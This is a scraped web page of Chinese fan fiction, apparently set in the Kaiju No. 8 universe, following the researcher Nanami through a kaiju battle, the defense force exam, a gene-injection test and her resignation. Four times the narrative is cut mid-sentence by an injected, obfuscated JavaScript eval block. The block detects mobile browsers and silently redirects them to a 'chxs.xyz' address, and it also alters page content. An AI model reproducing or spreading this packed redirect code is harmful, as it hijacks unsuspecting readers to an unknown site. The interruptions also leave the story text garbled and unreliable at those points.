东云小队还在解决大量的余兽,岸边只有鸣海一人,他勉强将怪兽控制在水面中央,一边不让它触碰岸边,一边又要它远离彩虹大桥,因为强行用自己的身体作为支点,战斗服的肩部已经被磨破,修复的速率抵不过武器的后坐力,疼痛感正在让他的右手变得麻木。 “到哪里了!”鸣海再次吼道。 “到……你后面了。”组装完毕后,七海站起身,艰难地拖着那把填装完全后几乎有二十公斤的玩意儿向前挪动。 一个翻身跃上台阶,鸣海将原先的武器扔开,单手拿过那把曾经只试用过一次的武器,熟练地上膛,视线穿过瞄准镜,扣下扳机的瞬间,他回道:“来得够慢的。” 在原地喘着粗气,七海瞪大了双眼,但是恨意涌上的时候理智还是占了上风,她根据这一枪的力度调整了装备设置,无视了鸣海的这句话,深呼吸了一下开口:“从左下角向上射击,我们只有五次机会,战力解放百分之九十。” “我要全解放。”鸣海微调了角度,说道。 “不行,冲击波会打到对岸的大厦。”七海又深呼吸了一下,摸着沙滩边的台阶坐下,“现在是极限。” “真是麻烦。”鸣海咂嘴。 “拜托你是防卫队,不是世界毁灭家!”七海教训道。 “明白了明白了明白了……”碎碎念着的鸣海再次扣下扳机,怪兽体内那颗闪烁着诡异色彩的核心终于暴露出来。 “继续!”后面的七海指挥道。 “啰嗦死了,早知道换个人来了。”鸣海抱怨。 “到底谁喊着我的名字让我过来的,我又不是活腻了,”七海说话的同时还能继续调整装备,“都说了继续!” “我正要打呢!”鸣海话音刚落,一击直中核心,怪兽的胸膛出现了一个大洞,见击杀任务完成,七海长舒一口气,结果扛着武器的家伙对着水面又补了一发,再次激起一层巨浪,不仅把在岸边坐着的七海向后又拍飞到草地上,连暂时弃放在彩虹大桥上的私家车都被打翻了十几辆。 宛如劫后余生一般,七海吐出嘴里的海水,甩了甩眼镜,又擦了擦调试器的屏幕,从那上面看到无人机传来的影像,一片狼藉的彩虹大桥看得她倒吸了一口凉气,因为她仿佛看到了内勤同事撰写灾后处理报告时的表情。 “这里还有活人呢!”七海大吼。 而鸣海只想没听见似的,单手拿起刚刚被他自己扔到一边的原先的装备,一步一步向她慢慢走来,平静地说道:“这里不就我们两个人。” “所以我说我是活人啊……”七海气得心跳都变快了,但是她的目光落在了鸣海受伤的肩膀,于是对着他伸出手,“这个给我。” “我可不想继续看你蚂蚁搬家。”鸣海嘲笑道。 “那你痛死算了。”七海轻哼一声。 “知道你心疼本大爷但是也不要这么明显啦。”鸣海又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726996|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑起来。 “你能不能去跳海?”七海摇摇头,转身向不远处倒在路边的机车走去。 “载我回去。” “没有头盔。” “执行任务没人会管本队长。” “你能不能别用腿夹着我?” “我手上拿着两把狙呢。” “那你别贴这么近行不行。” “不行,会被甩下车。” “你现在怎么怕死了?” “……” 而两人的对话正通过没有关闭的通讯器在公共频道播放着,监控室所有人以及在前线的每个队员都成了听众。尽管长谷川副队长知道自己应该在听见的时候就立刻关闭单向通道,及时止损,至少为了七海,也得这么做,但人好奇的本性最终打败了周全的性格。 一直到那边只剩下忙音,他才默默地按下了按钮,然后摇着头走出了监控室。 之后的几日,不知是从谁那里走漏的风声,似乎全基地的人都知道了七海要报考第一部队的消息,作为一个全员坚守唯战力论的队伍,队员们对于手不能提且肩不能担的七海阳菜的态度可太反常了,他们不仅没有排斥,甚至秘密开始了自己的行动。 比如东云凛就在下班后给她开起了近身格斗的小课,又比如另一位和她住在宿舍同一楼层的队员,连着一周约着她晨跑,再比如长谷川副队长甚至让行政将备用的训练场钥匙送来了。尽管每天都要在办公桌前坐上整天的七海觉得自己并没有余力应付这些,可是互联网大数据不知是不是猜中了她的退缩,接连两日给她推送了青年猝死要注意的公益广告——年近三十,要么健身,要么死。 “死,还是活,这是一个问题。” 当两条腿再也没办法抬起的时候,她伏在了训练场的垫子上,半死不活地念着。 “初试是下周一?”神色轻松的东云两手环抱看着在垫子上蠕动的七海,“队长好像也要去总部述职,要不蹭他的公派车。” “我宁可坐地铁,”七海用手肘支撑起上半身,抬眼看向东云,“他是疯子,你知道吗,你们队长是疯子。” “他又怎么你了?”东云昨晚刚从七海那里听说了“同床共枕”事件的前情,但这还是不能打断她与同事们的种种遐想。 “反正我看见他就会死。”七海苦笑着,似乎一点都不想谈的样子。 至于理由也很简单,如果说东云的近身格斗教学是新手友好级别,那么鸣海的特别课堂就是“他一定是想我死”的程度。 “你恨我可以直接杀了我,没必要这样吧。”在无数次被按倒在训练场之后,七海近乎绝望地望着鸣海的眼睛,他一手卡死她的双肩,低下头同她额头相抵,根本不给任何反击的机会。 “我只是需要你站在我身后。”鸣海与她对视,然后这样说道,“所以我要保证你能过关。” “你不是讨厌菜鸟吗?”七海叹气。 “你是最有用的菜鸟。”鸣海说着,慢慢松开了手,而后伸手将她拉起来,又重复了一遍,“对我非常有用。” 而七海只顾着大口呼吸刚刚被压迫时短缺的氧气,完全没在意他到底在说什么,脑子里全是“刚刚真的要被杀了”的惊慌。 7.内勤暴言(7) 内勤暴言@wffh 模板发了两百次了,为什么还是收到了两百种版本的文件? 难道是只有内勤识字吗? 加班重做表格ing(两眼一黑) 20:00 dd/mm/yy twitter for web 鸣海的专用装备在对战怪兽期间出现故障,这件事说大可大,说小可小,尽管事情已经过去两周,一系列相关报告的递交流程已经全部完成,但溯源还是算到了七海头上,毕竟这是她部门的负责范畴,出云科技和讨伐厅总部同时要求她在月末的会议上亲自进行说明。 为了不在考核中留下“装备检修不当”这几个字,七海硬着头皮写下了几千字堪称是声泪俱下、感天动地的情况说明,字里行间皆是诚恳与愧疚,她甚至下定了决心,如果四之宫长官需要她土下座向所有全心全意信任检修部门对防卫队队员道歉,她一定毫不犹豫将膝盖磕在讨伐厅大门前的台阶上。 第一年工作也许还知道什么是委屈,事到如今,七海觉得解决问题比个人情绪要重要多了,何况就算接下来自己就会和现在的东家谈离职,那也得等到自己真的拿下防卫队编制的时候。一想到自己的存款分开存在几份保险里,负责平时开销的银行卡余额还有一半在鸣海的口袋里,若是这时候被基地宿舍踢出门,她连租房的保证金都给不起。 最后等待着她的只有公园的长椅还有桥洞,她绝对不要过上那样的日子。 所以自尊是什么,她不知道。 本年度防卫队队员招考初试业务课笔试将在两天后,也就是周一的上午九点开始。然而,无巧不成书,本季度出云科技与讨伐厅的联合例会则是同一天的下午一点。 七海阳菜要在那个周一接受全方位且毫无死角的审视——上午审视她的复习成果,下午审视她的认错态度。 再次闭关了一个周末,她拒绝了所有人的来访,东云敲门不应,鸣海按下密码都走进来了,却还是被她踹出了门。虽然笔试的内容对上学时课业全满分的她来说称得上是简单,但要熟练背下一篇冗长的情况说明,她简直耗尽了所有脑细胞。 一夜未眠,七海坐上最早一班的地铁从临海基地赶到总部,外面下着暴雨,阴沉沉的像她的心情。 七海手上攥着一叠纸,是她修改了无数遍的会议讲稿,上面被她用蓝色的圆珠笔写写画画,几乎看不出原本的字。 低头瞥了一眼,手指刚好按在了一句话上。 “队长鸣海以肩部做缓冲进行射击,导致严重挫伤,有明显出血与水肿……” 递交的情况说明当然是经过长谷川副队长审阅的,否则七海也不会知道关于鸣海的事情。 先前长谷川说鸣海特地隔了一天才去医疗队,之后也要求旁人不提及此事,并将负伤情报中自己的名字划掉后才进行了上报。 说实在的,七海不可能不怨鸣海,因为如果他能在上次出动后提到“稳定器有问题”这几个字的话,检修部门不可能会疏漏,只是事情已经发生了,她也不能一直执着于过去。不过听到长谷川的话,七海意外觉得有点高兴,虽然只有一点点,那不能打败堆积起来的怨气,却能让她在那个瞬间心里舒服一点。 “他其实是笨蛋对吧?”那时七海笑了起来,对着长谷川副队长说。 “大概是,”长谷川无奈低下头,“队员的身体状况有战斗服实时监控,数据全联网,他划掉名字也没用。而且,这回明明是他乱来……” “没事,我道歉比他道歉专业,”七海又笑了笑,“ 而且我很少犯错,公司会理解我的。” 于是她便抛下一句相当通情达理的发言,戴着善解人意的面具离开了办公室。 是啊,出卖灵魂肯定是自己比较专业。 在出站口附近的便利店买了两个饭团,其实她现在只能吃下一个,可明太子饭团买一送一,还比旁边的金枪鱼饭团便宜了五十日元,出于便宜不占白不占的心理,七海拿下了货架上的那两个,等待结账的时候,自动门打开,一高一矮两个男人走了进来。 “好大的雨,市川,你要不要喝点什么?” “前辈,你的伞被风吹跑了。” “啊,不好,等等我……” “七海小姐,早上好。” “嗯?七海!” 听到了自己的名字,七海先伸手接过了找零,然后提着饭团向他们走过去:“日比野前辈,市川,早上好。” 此时离进考场还有四十分钟,外面的雨好像越下越来大了,三个人就这样站在屋檐下躲雨。七海将饭团分给了市川,自己三两下就消灭掉了一整个,旁边的日比野帮她打开了那罐黑咖啡,他也买了一罐,只是喝了一口就被苦得皱起眉头。被二位成年人投喂的市川乖巧地吃着饭团,口袋里还放着一盒热果汁。 “你带了这么厚的复习资料?”日比野说着抽出她用胳膊夹住的讲稿,只看到了开头就被抢了回去。 “这点程度还不需要我复习……”七海别过头嘟囔着,“下午要开会。” “就那上面写的?”日比野开始打抱不平,“这不就是让你当众做检讨。” “打工嘛。”七海把包装纸攥在了手里,“所以前辈今年是第几次了?” “一定要这样伤人吗?”日比野垂头丧气,“笔试题已经复习到反胃了……” 说着他又拍拍市川的肩膀,继续说:“还好这次能带着他一起刷题,多了点新鲜感,而且这小子好擅长做笔记。” “比前辈还擅长啊,”七海探头看过来,“小朋友很厉害。” “谢谢。”市川插上吸管,仍然保持安静。 “总而言之,”日比野深吸一口气,“你有没有什么提示,内部人士?” “初试?”七海瞥了一眼。 “当然是复试。”日比野回道。 “你如果考的是第一部队我还能想想办法,”七海轻哼了一声摆摆手,“那我就先过去了,拜拜。” “第一部队……”市川抬起头,“七海小姐考的是第一部队?” “不愧是东京讨伐高中的优等生,”日比野感叹,“报考附加条件那么多,我连看都不敢看一眼。” 拿到试卷的那一刻,七海实际上希望这场两个小时三十分钟的考试有一辈子那么长,因为如果足够长的话,她就不用在这个午后面临那张巨大的会议桌,和两旁坐着的那些人。 公司高层就不说了,讨伐厅上头那些人里,四之宫长官都算是长得和善的,况且出云科技好歹高级研究员以上的女性数量还有十几位,这个系统内部是一个女性长官都没有吗,如果不是亚白米娜坐在最边上,七海真的很想在这个大会议室里打个洞钻进去把自己埋起来。 好了,注意力先集中,试题比去年要刁钻多了,往年只考两条分析题的,今年竟然多加了一条,还减少了选择题比例。公开招考的时候不是说要扩大录取吗,讨伐厅这群人果然还是一个比一个不像人,嘴上说把她当人才,结果是阻碍层层叠叠,到底都在鼓励些什么。 不过话虽如此,七海依旧提前了四十分钟离开了考场,负责监考的工作人员以为她是要弃考,劝她要不再看两遍,结果翻看了一下那张满满当当的答题卡,稍有些吃惊地同意了她的请求。 在她之后又有两个年轻人走了出来,一个人高马大、肌肉发达,头发剃得很短,皮肤黝黑,走路时抬头挺胸的模样仿佛是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756603|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自卫队士兵。另一个看着温文尔雅的,齐肩的头发打理得很整洁,他面带微笑还和站在走廊的七海搭了话。 “卷子不容易呢。”他说。 “最后的基因武器融合有点超纲,其他都还行。”无意交谈的七海摸出口袋里的证件,想着一会儿去总部食堂赠个饭。 对方似乎是看到了她证件上出云科技的标志,再次礼貌一笑,而后挑起话题的人却没有接话,直接转身走向了楼梯。 “真是奇怪。”七海摇摇头,向着另一头的电梯前去。 她在心里反复念着“我要吃饭”,试图用食欲洗刷一下紧张的情绪,此时电梯门打开,好不容易落地的心这一刻倒是差点跳出了胸膛,她抬头与四之宫长官对上了视线,又不能立刻就别过脸,可她好像也没办法顺利组织语言,因为喉咙口被即将挑出来的心脏堵住了。 几秒钟后,一位合格的内勤人员的自我修养占了上风,七海后退半步,深深鞠躬:“四之宫长官,非常不好意思。” 谁料长官则是抬手按住了开门键:“没事,一起下去吧。” “失礼了。”她低着头站到了角落,压根不敢再抬头。 这时电梯最里面传来一声嗤笑,那声音七海化成灰都听得出来,她攥紧了拳头,在心里想着鸣海应该感谢四之宫,否则凭借她内心的恨意,她现在就能在电梯里手刃了他。 不要担心打不过,强烈的感情可以催生肾上腺素分泌,七海相信肾上腺素。 “七海,我很期待在第一部队见到你。”四之宫长官说。 “非常感谢您的抬爱,我会尽我所能……”七海十分惶恐。 “实际上,我们今天也会做出决定,”四之宫打断了她,“再次对你进行基因测试。” 再次? 七海转过身去,看向了长官,刚刚的慌张消失了,她什么时候参加过测试。 “我们看到了你给鸣海送装备的转播,”四之宫解释,“来栖也提交了一份你的检测报告,你与怪兽三号的适配度高于目前所有适配者。” 话说完,电梯也到了一层,七海在沉思中还能反应过来帮长官按住门,躬身送走他以后,她失了神似的走出去,她有点想不通一切都是什么时候发生的,就好像她自己的命运和她自己无关似的——从有人告诉她这个国家需要她的一刻开始,她就不再属于她自己了。 “发什么呆呢?” 原来鸣海没跟着四之宫一块儿走,七海的隐忍模式暂时失效了一瞬,她面露不爽将鸣海放在自己肩头的手狠狠拍掉,多一句话都不愿说。 “怪兽三号的专用装备是不是那个喷射蛛丝的发射器,”鸣海走在她身后,“太好笑了,像蜘蛛侠。” “是啊,三号的基因还会强化躯体和五感,”七海顺着说道,“他们是真的彼得·帕克,行了吧。” “你怎么这副表情?”鸣海竟然从她那一如既往的臭脸中看出了点不同,“我都帮你在长官那里说了很多好话了,下午的会没……” “让我静静可以吗,”七海停住脚步,她与他对视,“我又没怪你。” “你这看起来就在怪我啊。”鸣海一步不让。 “我怪你什么?”七海昂起头,“怪你不写报告害我做检讨,怪你欠我钱不还,怪你改我报名表,还是怪你现在明知我心情不好还烦我!” “好,”鸣海两手举高,“你走。” 他看着她的背影,在原地一动没动,因为那个以为自己摆着一副恶人脸的女人,其实满眼都写着“我很痛苦”。 憋着一肚子气,七海用手捧起一把冷水浇在脸上,她果然还是弄不懂自己在委屈什么。 但她就是……她觉得很委屈。 8.内勤暴言(8) 内勤暴言@wffh 去谈离职,人事看见我拉着新员工扭头就跑。 跑什么?怕我问新人为什么来这黑心公司吗? 不会的,我的痛苦一定要每个人都受一次! btw离职金好像在打发乞丐(中指) 21:13 dd/mm/yy twitter for web 那一日的联合会议,七海看着许久未见的研发部部长,依旧是一副容光焕发的模样,她真的很想问问他,骗了自己这么多年内心就没有一点羞愧吗,好歹她也是从实习生就跟着他当牛做马。这次的事情也不见他开口为她说半句好话,甚至话里话外还透着一种“我们出云科技不包容过失”的大公无私,衬托得讨伐厅那群凶神恶煞的长官们良善无比。 说来也是,如果这个外派计划有利可图的话,研发部早就派一整个队伍驻扎在第一部队了,但他们明面上又不能真的和讨伐厅闹翻,主动提出出云科技不能再以这种形式提供协助。谁料到这一次失误倒给了他们机会,不仅可以顺理成章结束外派,还能以四之宫长官对七海的欣赏为借口,装作忍痛割爱的样子收获一份相当可观的人情账。 很显然,会议进行到中途时七海已经清楚了公司的用意,也明白了自己的处境,现在不是她谈不谈离职的问题,而是研发部决定主动将她推给讨伐厅。 像她一样的研究员,从实习生到高级研究员,在出云科技中有二三百,七海阳菜一向都不是特殊的那一个,部长甚至经常将她的父母挂在嘴边。因为她是七海教授的孩子,因为她继承了父母没有做完的项目,因为她是家中唯一剩下的那一个——她的特别不是因为她做了什么,而是因为她是谁。 不过她确实一点都不在乎领导对她个人的认可,老家伙有讲这些道理的功夫,不如给研发部多申请点补贴,钱都被营业部圈走了,这样的话她还能少诅咒他两句。 深究下去又要开始生气了,总之是下午的会议一结束,来栖一组人便带着她去到了总部的技术中心,那和有明临海基地的技术组完全不是一个量级的存在,实验室占地面积就足够让人叹为观止,七海每次过来都会想象自己要是能在这里有个工位就好了,但每次都会被来栖组长那副欲言又止的表情给劝退。 因为他说:“长官们对他们只有三个‘最’,就是用最少的钱最快的速度达到最高质量。” 听说来栖因为工作黄了几次相亲,四舍五入四十岁的男人,仍然保持童贞。 真是闻者伤心,见者流泪。 事实证明,如果一个内勤始终坚持十二字法则,即“总是理解,经常支持,适时成全”,那么受苦的就只有自己。 怪兽三号的基因被保存在总部的基因库中,而用以制造蛛丝的核早前也为了研制合成蛛丝从其他部队运到了总部,这件事七海略有耳闻,她一直以来都对颜色奇特的怪兽核十分感兴趣,而三号的核是透明的蓝绿色,外面包裹着薄薄一层像蜘蛛网一样的壳,看起来疏松而绵软,但是韧性极大,即便是保科家的刀都很难切开。 隔着玻璃,七海安静地凝视着它,奇妙的光芒好像永不熄灭,为什么能拥有这样强大的生命力呢。 “具体的流程其实你很清楚了,”穿着白大褂的来栖走进门,他手拿着针筒,“长官现在比较急迫,他想尽早确定所有大怪兽的适配者,今年的怪兽频率太高了。” 来栖又顿了顿:“你给鸣海移植视网膜时也看到了,即便适配度接近百分之九九,那对鸣海的影响也很大。三号其他的适配者因为直接注射都产生了很强烈的副作用,我希望你理解。” “我懂的。”七海说着卷起了袖子,乖乖接受了基因注射。 “眼镜就放在这里吧,你一会儿就用不到了。”来栖将特制的战斗服递给她。 七海看着那件衣服,胳膊上印着出云科技的标志,这几年间的几次更新工作,还有她提供的数据支持,她太了解这件衣服,却从没有试穿过一次。 她以为她永远不会以这种方式和一头怪兽扯上关系。 熟练地换上战斗服,七海跟在一旁的研究员身后,进入了一间训练场,这里面空荡荡的,天花板很高很高,监控室在一侧,来栖就站在那层玻璃之后。 “七海,由三号基因改造而成的装备已经安装在了你的战斗服上,你可以打开看一眼,”来栖的声音从头顶传来,“一会儿我们会放置一个三号的模拟机器人,它的攻击模式我们调整到最低,你一会儿只需要模仿它就可以。” 翻过手腕,左右手臂内侧都安装了蛛丝发射器,她重复做了两次握拳的动作,弹射出的蛛丝像张开了网似的,在她眼前摊开。同时注射的效果逐渐在发作,在战斗服的催化下,七海发现自己不管是听力、视力,还是其他的感觉都变得异常敏锐,全封闭的训练室内,她却一清二楚听到了监控室内来栖的呼吸声。 “现在开始。” 叮得一声,门被打开,机器人进场。 三十分钟后一轮测试结束,模拟实战适配度的结果令人十分满意,来栖急匆匆要将数据报送到四之宫长官那里,却听见身后有人喊着:“不好,实验体晕倒了!” “你们对她做什么了?” “鸣海队长,她只是睡过去了。” “睡?” “因为适配度太高,对实验体的体力消耗也成倍增加,所以累睡着了。” “我能带她回去了吗?而且,她有名字的。” “鸣海队长,来栖组长晚上还会再安排一次实验……七海小姐的测试。” “这家伙不到半个小时就这样了,你们还要再来一次?” 鸣海有时候也不太理解七海,明明看起来谁的话都不听,最后怎么谁的话都听啊,他一开始可没想过功叔有这打算,基因注射多高的风险,拒绝又不丢人。 身体的能量好像在迅速地恢复,七海缓缓睁开眼睛,下意识寻找着眼镜,但清晰的视野让她有点不太习惯,看来自己与三号基因融合得不错,不过强化的程度比穿着战斗服时要低一些,毕竟她不能像刚刚在训练室一样看到近乎于静止的景观。 “恢复的速度……”研究员惊讶地瞪大了眼睛,“这太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766317|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊人了,我们以为没有防卫队训练背景的实验体很难支撑这个强度。” “三号的自我修复能力应该也很强。”七海已经感觉不到一丝疲惫了,她转身下了床,这才抬头看到站在一边看似生闷气的男人,她扫了他一眼,没准备搭理他。 “你无视我?”鸣海瞬间就按捺不住了。 “其他适配队员完没有能融合到三号的修复能力,七海小姐您的测试数据是我们从未见过的数值。”研究员欣喜地说着。 “我想利用恢复速度来延长战力全解放的时间。”七海已经完全进入了工作状态,“毕竟我的血条只有这么一点点短。” “我去和来栖组长报告一下。”年轻的研究员跑出去,留下屋内的两个人,互相沉默。 “你怎么会在这里?”七海先开了口。 被无视了的鸣海本想以无视反击,不过他还是没忍住,回答道:“你在训练室晕倒了。” 言下之意,他是听到了这个消息过来的。 “我以为会议结束你就回基地了。”七海拿起柜子上的眼镜,放在眼前看了看,整得她一阵眩晕,自言自语说,“突然不近视了,感觉好奇怪。” 这时候鸣海才注意到平日里没了眼镜寸步难行的七海摘下了眼镜,他上一次见到她这般模样还是她喝多了躺在自己身边的时候,没了那层镜片遮挡,七海眼神反倒少了许多锐意,深色的瞳仁里有他的脸。 “我本来准备回去的,可是从功叔办公室出来就听到这事情,哪有扔下队员自己跑路的道理。”鸣海说得自己像是个满分队长似的。 “首先,你不太适合这种角色,其次,我还没通过考试。”七海微微摇头,“我对自己的状态也很好奇,我要留在这里和来栖组长一起观察。” “你怎么就这么听话……”鸣海碎碎念,几乎没有出声,“怎么不听我的话。” “我为什么要听你的话?”七海皱起眉头。 “我没开口你怎么听到了?”鸣海后退半步。 “抱歉,我现在也是顺风耳。”七海抬眼看向他,被移植了视网膜的鸣海眼里有隐约的十字形图案,“没想到我会以这种方式和你变成一种人吧。” 她轻轻抚上那双眼睛说:“和怪兽融合的感觉怎么样?” 突如其来的触碰让鸣海怔住,七海那眼神好像是在看什么成功的作品一般,慌忙拍开她的手,鸣海咳嗽了两声:“我走了,你自己回去吧,车不带你了。” “队长慢走。”七海轻笑,而后盯着自己的指尖,触觉的提升让抚摸的感觉变得很神奇,他的眼球好像在轻微的颤动,瞬间像有电流经过了她的身体。 两周后防卫队招考的初试成绩公布,七海毫无意外地进入了复试,她一早便给日比野前辈发了LINE询问,不过过了很长时间才收到了回复,她猜想前辈应该是太紧张了,根本不敢看结果。 而随着复试临近,渐渐适应了注射后副作用的七海后知后觉意识到四之宫长官的用意。 因为没这层外挂,一个在办公室坐了六年多的内勤也许只会死在考试中。 9.内勤暴言(9) 内勤暴言(暂时无业)@wffh 喜提前司三个月补贴,但仍然坚守岗位。 别问我为什么,我只想赖死在免费的宿舍。 我不会下班的我永远都不会下班的! 22:13 dd/mm/yy twitter for web 七海的离职从提出到过会到人事下通知,从头至尾只花了不到七十个小时,中间甚至还隔了一个休息日,仿佛人事就等着上班到办公室将那封邮件发给她似的。平日里任意一个报批手续都能拖上一周的出云科技,这回的效率实在惊人。 签完字之后,七海下楼又回了一趟先前的实验室,那旁边的研发部办公区里本应该有一张她的桌子,不过前两年就已经被大家当成了公用区域,除了一台依然登陆着七海账号的电脑之外,摆着的都是其他人的资料和文件。 她收拾东西时拉开抽屉,那里面甚至还藏着同事的烟和打火机,部长的禁烟令向来是铁规定,所以七海一抬头就看到同事的脸色发青,他拼命摇头,想让她装作没看见,而七海非常好心地当着刚刚走进门的部长的面,将香烟和她自己的杂物一起拿出来扔在了桌面上。 其实大多资料都是带不走的,七海知道哪怕是自己署名的研究文件也都只属于公司,接下来就得看出云科技和讨伐厅谈出什么价格了,毕竟外派岗位今后会被撤销,装备调试自然要额外抬价了。出云科技明面上说着为人类未来而贡献智慧,说白了不就是一家军火商。 好在编号怪兽所对应研发的武器还是讨伐厅占大头,七海今后总算是不用再管如何站队的问题了,公司高层和官方有什么矛盾就让他们自己打架去。 毕竟七海阳菜是个很有眼力见的人,既然四之宫长官已经提前将她锁定成怪兽三号的适配者,她也毕生第一次享受开后门的滋味,那么现在她可以对上天发誓,自己生是四之宫长官的狗,死是四之宫长官的死狗。 什么尊严什么脸面,她是一概不要的,谁给她容身之处她就给谁当牛做马。 听闻七海正式离职,欠债许久的鸣海被长谷川副队长三言两语说得稍稍有些心虚,但他在想如果这时候跑去问七海自己到底欠了多少钱的话,他办公室里剩下的限量版会不会也被对方通通没收。因为他是真的见过那张几乎看不到尽头的账目表,七海把抢走的每一个限量版列了名目,要求他在死之前都赎回去,不然她就按顺序在二手网站全部拍卖。 权衡了一下利弊,他决定先打开自己的银行卡余额看一眼,至少先得看看自己有没有还钱的资本。 很显然,现在距离月初发工资还有三天,鸣海弦的账户余额不是零的可能性,比七海阳菜在训练场成功反击东云凛还要低。 那么这条路子走不通,鸣海决定打开游戏。 不对,他决定先去看看这届所有入围复试的考生名单,以及七海排在了第几名。 这反常的举动把坐在办公室的长谷川吓了一跳,还以为这小子吃错了什么药竟然想要工作了,而他只是抽出那叠厚厚的名单资料,盘着腿在旁边的沙发椅上坐下,面无表情地一张一张翻着。 报考人数最多的仍然是第三部队,他想起初试时有电视台记者在总部门口采访考生,那么多人都说崇拜亚白米娜,鸣海很是不爽地咂了一下嘴,又继续看下去。尽管他知道一定是没什么人敢报考第一部队,但通过复试的只有十六个人也太过分了,第三部队那里可是从几百人里筛出的一百多人。 逐渐忘记了自己翻看名单的初衷,鸣海过了好一会儿才想起去看七海的那一页,果真是东京闻名的书呆子,业务课笔试竟然拿了满分。 等等,这个家伙也是满分,鸣海盯着照片上那个下巴上留着胡子的男人,心里莫名升腾起一阵愤怒,明明是陌生人,但他就是觉得这个人让他很不舒服。 到底是为什么,鸣海沉思着又翻回去,七海报名时的照片好像用的还是她刚来第一部队时的那一张,虽然她这么多年都没什么变化,发型也是从来没变过的中分短发,但是这张照片上的她看起来是一个活生生的人类的模样,而不是现在这副双眼里躺着两头恶鬼,随时会被她放出来砍杀全世界的样子。 “年轻真好啊。”鸣海突然自言自语出声。 “对着别人二十岁的照片说这句话,算是一种X骚扰了吧。” 冷不丁听到了当事人的声音,鸣海猛地抬起头,难得穿着私服的七海正站在长谷川的办公桌前,她回过头看向他这样说道。 “你这家伙听力到底好到什么程度啊!”他喊道。 七海将交接的文件摞好,皱起眉头用手指堵住耳朵回答:“比如我现在耳朵就有点痛。” “还有,你能不能戴一副没度数的眼镜,”鸣海不知为何慌了起来,“你这样看起来很奇怪!” 他的音量依然没减小,七海眉头又是一皱,她向他走近了几步,弯腰盯着他,然后对着身后的长谷川问:“副队长,我现在确实可以告他职权侵扰了吧。” 长谷川很不想掺和进这俩人的“打情骂俏”里,所以摸出口袋里的证件扔到桌边说:“旧的证件回收了,所以这是四之宫长官给你的临时权限,来栖还有一些关于怪兽三号的事情要跟你沟通,最近你就先留在原来的办公室。” 说着他抬手拉开门提醒道:“只要别把我的屋子弄乱了就行。” 剩下的两个人面面相觑,暂时身为无业游民的七海现在只听四之宫长官一人的命令,少了几分对鸣海的忌惮,或者说,鸣海弦现在在她这里什么也不是,所以她好像突然就占领了二人关系的高地似的,幸灾乐祸地看着面前人被自己盯得浑身发毛的样子。 事后鸣海总结这种感觉是心虚,因为他还不起欠款,也拿不回自己的游戏和限量版,更重要的是,七海什么时候那么爱笑了。 这种笑容他只见过为数不多的几次,一回是他当年不顾劝阻为了打怪兽差点毁掉眼睛的时候,她笑得非常可怕,鸣海觉得她会把手术刀捅进自己的眼眶,还有就是她喝多了的时候,把自己借过的每一笔钱数额一个个念出来,一边笑一边念。 然后就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780033|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了现在,她又用相同的笑看着他。 “你到底想做什么?”鸣海在沙发上向后挪了好一段距离。 “我在享受快乐,有补贴,有休假,”她深呼吸了一下,“你知道我六年没有放过假了吗?你知道什么是放假吗?放假啊!” “长谷川……长谷川救救她,她好像疯了……”鸣海念叨着。 七海却像是没听见似的,伸手狠狠一揉鸣海的头发,然后轻轻撩起他的刘海低头看着他说:“队长先生,我在分享我的愉悦啊,你看不清楚吗?” 从沙发上弹射状起身,鸣海躲到了角落,七海触碰到的每一块地方都烫得要命,他不知道她怎么了。 “因为我知道下周通过复试以后,我就会再一次进入永远没有假期的生活,所以我现在只能无限放大自己的情绪,不然我只要设想一下未来就会真的疯掉呢。”七海再次向他靠近,“我的朋友,和未来的上司,鸣海弦队长。” 涨红了脸的鸣海吼着“长谷川救命”拔腿冲出了门,七海轻轻笑了两声,接着收起了表情,她叹着气捡起那堆被鸣海扔在地上的文件,看到了那上面自己的照片,他没说错,确实是年轻真好。 有时候七海半夜醒来看到卫生间镜子中的这张脸,也经常会怀疑那是颗骷髅头。 